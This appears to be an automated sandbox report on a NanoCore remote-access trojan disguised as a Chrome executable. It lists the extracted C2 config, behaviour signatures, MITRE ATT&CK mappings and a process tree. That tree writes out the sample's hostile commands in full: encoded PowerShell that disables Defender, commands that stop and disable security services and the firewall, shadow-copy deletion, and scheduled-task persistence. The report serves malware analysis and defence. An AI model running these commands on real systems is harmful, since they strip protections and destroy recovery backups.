Overview

overview

10

Static

static

10

portal.br....me.exe

windows10-2004-x64

10

portal.br....me.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    18/08/2026, 17:49

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General

  • Target
    portal.br.com_chrome.exe
  • Size 57KB
  • Sample260818-wefhraer3x
  • SHA256 9b049d40ebf7360b6c75f92a80ce67d3941237e74f2dc7349d0cf60cbabce38c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionnanocoreimpactkeyloggerpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Extracted

Family

  • nanocore

Version

  • 1.2.2.0

C2

  • http://portal.br.com

Mutex

  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://portal.br.com

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

    keyloggertrojanstealerspywarenanocore
  • Contains code to disable Windows Defender 4 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    defense_evasion
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
    persistence
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
    execution
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\portal.br.com_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\portal.br.com_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies security service
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Checks computer location settings
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2800
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3952
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:2784
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3948
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:5028
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1876
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3848
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3248
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:4728
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4356
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4044
      • C:\Users\Admin\AppData\Local\Temp\portal.br.com_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\portal.br.com_chrome.exe"
        3⤵
          PID:1836
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:2608
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:2128
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:3852
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3468
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:2176
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\portal.br.com_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3196
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\portal.br.com_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1224
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4768
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:4612
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4272
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1880
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:2448
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5004
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:1280
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4364
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4216
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3052
        • C:\Windows\system32\net.exe
          net user
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3864
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 user
            4⤵
              PID:3520
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:508
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:2528
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3060
          • C:\Windows\system32\NETSTAT.EXE
            netstat -an
            3⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:4544
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\portal.br.com_chrome.exe" /sc daily /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1548
        • C:\Windows\System32\wscript.exe
          "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
          2⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:4444
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:4592
          • C:\Windows\System32\vssadmin.exe
            "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
            2⤵
            • Interacts with shadow copies
            PID:2696
          • C:\Windows\System32\wbem\WMIC.exe
            "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
            2⤵
              PID:3756
            • C:\Windows\System32\net.exe
              "C:\Windows\System32\net.exe" stop srservice
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2640
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop srservice
                3⤵
                  PID:1128
              • C:\Windows\System32\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                2⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:2044
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                2⤵
                • Launches sc.exe
                PID:4308
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" stop i8042prt
                2⤵
                • Launches sc.exe
                PID:4388
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1588
            • C:\Users\Admin\AppData\Local\Temp\portal.br.com_chrome.exe
              C:\Users\Admin\AppData\Local\Temp\portal.br.com_chrome.exe
              1⤵
                PID:2296
              • C:\Users\Admin\AppData\Local\Temp\portal.br.com_chrome.exe
                C:\Users\Admin\AppData\Local\Temp\portal.br.com_chrome.exe
                1⤵
                  PID:548

                Network

                      MITRE ATT&CK Enterprise v16

                      Reconnaissance

                      Resource Development

                      Initial Access

                      Execution

                      Command and Scripting Interpreter

                      4
                      T1059

                      PowerShell

                      1
                      T1059.001

                      Visual Basic

                      1
                      T1059.005

                      Windows Command Shell

                      1
                      T1059.003

                      Scheduled Task/Job

                      1
                      T1053

                      Scheduled Task

                      1
                      T1053.005

                      System Services

                      2
                      T1569

                      Service Execution

                      2
                      T1569.002

                      Windows Management Instrumentation

                      1
                      T1047

                      Persistence

                      Boot or Logon Autostart Execution

                      2
                      T1547

                      Registry Run Keys / Startup Folder

                      2
                      T1547.001

                      Create or Modify System Process

                      5
                      T1543

                      Windows Service

                      5
                      T1543.003

                      Event Triggered Execution

                      2
                      T1546

                      Image File Execution Options Injection

                      1
                      T1546.012

                      Netsh Helper DLL

                      1
                      T1546.007

                      Scheduled Task/Job

                      1
                      T1053

                      Scheduled Task

                      1
                      T1053.005

                      Privilege Escalation

                      Boot or Logon Autostart Execution

                      2
                      T1547

                      Registry Run Keys / Startup Folder

                      2
                      T1547.001

                      Create or Modify System Process

                      5
                      T1543

                      Windows Service

                      5
                      T1543.003

                      Event Triggered Execution

                      2
                      T1546

                      Image File Execution Options Injection

                      1
                      T1546.012

                      Netsh Helper DLL

                      1
                      T1546.007

                      Scheduled Task/Job

                      1
                      T1053

                      Scheduled Task

                      1
                      T1053.005

                      Defense Evasion

                      Direct Volume Access

                      1
                      T1006

                      Impair Defenses

                      3
                      T1562

                      Disable or Modify System Firewall

                      1
                      T1562.004

                      Disable or Modify Tools

                      1
                      T1562.001

                      Indicator Removal

                      2
                      T1070

                      File Deletion

                      2
                      T1070.004

                      Modify Registry

                      4
                      T1112

                      Credential Access

                      Credentials from Password Stores

                      1
                      T1555

                      Credentials from Web Browsers

                      1
                      T1555.003

                      Unsecured Credentials

                      1
                      T1552

                      Credentials In Files

                      1
                      T1552.001

                      Discovery

                      Browser Information Discovery

                      1
                      T1217

                      Process Discovery

                      1
                      T1057

                      Query Registry

                      2
                      T1012

                      System Information Discovery

                      4
                      T1082

                      Lateral Movement

                      Collection

                      Data from Local System

                      1
                      T1005

                      Command and Control

                      Exfiltration

                      Impact

                      Defacement

                      1
                      T1491

                      Inhibit System Recovery

                      2
                      T1490

                      Service Stop

                      2
                      T1489

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      scr_20260818_185137.jpg
                      • Path C:\ProgramData\SysUpdate\Scr\scr_20260818_185137.jpg
                      • Size 98KB
                      • SHA256 7c6bb68be4c16c0f6b83b5917fb1c67d30f6cbcacbe4cead4d79c04f20e1a5c1
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      invoice_1.pdf
                      • Path C:\ProgramData\invoice_1.pdf
                      • Size 76KB
                      • SHA256 46d72c21909a0588732579535a9dd6e57753509a8077c21f58a652aebd6f4e64
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      doc_3.pdf
                      • Path C:\SystemVolumeInformation\doc_3.pdf
                      • Size 76KB
                      • SHA256 ee63fe28b57770dd7d10f0d0772777ea699cd3b8b9e126c5b62c1c991269eb71
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      portal.br.com_chrome.exe.log
                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\portal.br.com_chrome.exe.log
                      • Size 660B
                      • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      __PSScriptPolicyTest_snytiqc4.naj.ps1
                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_snytiqc4.naj.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      createshortcut.vbs
                      • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                      • Size 245B
                      • SHA256 38eda86eda3436c2807197ddfc296be4aef3a852b6ddd6a2d6894ca9370b4b4c
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      del.bat
                      • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                      • Size 59B
                      • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      makelnk.vbs
                      • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                      • Size 246B
                      • SHA256 5fb03ae7720d55278f636aa58196acd423fa3416f13059362e62f98db81e26b0
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      temp_steal.log
                      • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                      • Size 131KB
                      • SHA256 96e1ea0c47dcf7287e21754456d83354b7996e77296375daf294a19368a22d47
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      stolen_data_here.txt
                      • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                      • Size 131KB
                      • SHA256 7f938d98f778845e4a4bf2431e26f154ab16023f5adbaf005d0c811750bf27c3
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      sysupdate.exe
                      • Path C:\Windows\System32\sysupdate.exe
                      • Size 57KB
                      • SHA256 9b049d40ebf7360b6c75f92a80ce67d3941237e74f2dc7349d0cf60cbabce38c
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      memory/2800-0-0x0000000000190000-0x00000000001A4000-memory.dmp
                      Download

                      memory/2800-2268-0x0000000002170000-0x0000000002180000-memory.dmp
                      Download

                      memory/2800-1-0x0000000002170000-0x0000000002180000-memory.dmp
                      Download

                      memory/3952-462-0x0000020339D00000-0x0000020339D22000-memory.dmp
                      Download

                      memory/4592-2254-0x0000020A123A0000-0x0000020A123A1000-memory.dmp
                      Download